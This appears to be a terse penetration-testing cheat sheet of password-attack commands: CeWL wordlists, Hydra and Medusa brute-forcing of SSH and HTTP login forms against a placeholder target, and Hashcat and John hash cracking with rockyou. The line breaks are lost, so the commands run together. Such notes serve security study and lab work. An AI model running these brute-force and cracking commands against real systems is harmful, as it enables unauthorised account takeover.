​
Cewlcewl http://<targetip>/ -m 6 -w cewl.txtwc -l cewl.txtjohn --wordlist=cewl.txt --rules --stdout > mutated.txtwc mutated.txtmedusa -h <targetip> -u admin -P mutated.txt -M http -n 80 -m DIR:/directory/to/login/panel -T 30​-----------------------------------​Hydra​hydra -l root -P /usr/share/wordlısts/rockyou.txt <targetip> sshhydra -L userlist.txt -P /usr/share/wordlısts/rockyou.txt <targetip> -s 22 ssh -V​# crack web passwordshttp-post-form can change as user module changesInvalid: what message does the page give for wrong credsfor parameters check with burp​hydra -l admin -P /usr/share/seclists/Passwords/10k_most_common.txt <targetip> http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid" -t 64​-----------------------------------​Medusamedusa -h <targetip> -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/test -T 10​-----------------------------------​Hashcat​# learn the hash type from hashcat.net example hashes page and pass as its m value# or you can learn with the following commandhashcat -h | grep -i lmhashcat -m 1600 hashes /usr/share/wordlists/rockyou.txt​-----------------------------------​LM/NTLMhashcat -h | grep -i lmhashcat -m 3000 hashes --rules --wordlist=/usr/share/wordlists/rockyou.txt​https://hashkiller.co.uk/​------------------------------------------​When you find some digits, check if it's 32 bitecho -n ....... | wc -c​------------------------------------------Johnjohn hashes.txt --rules --wordlist=/usr/share/wordlists/rockyou.txt​​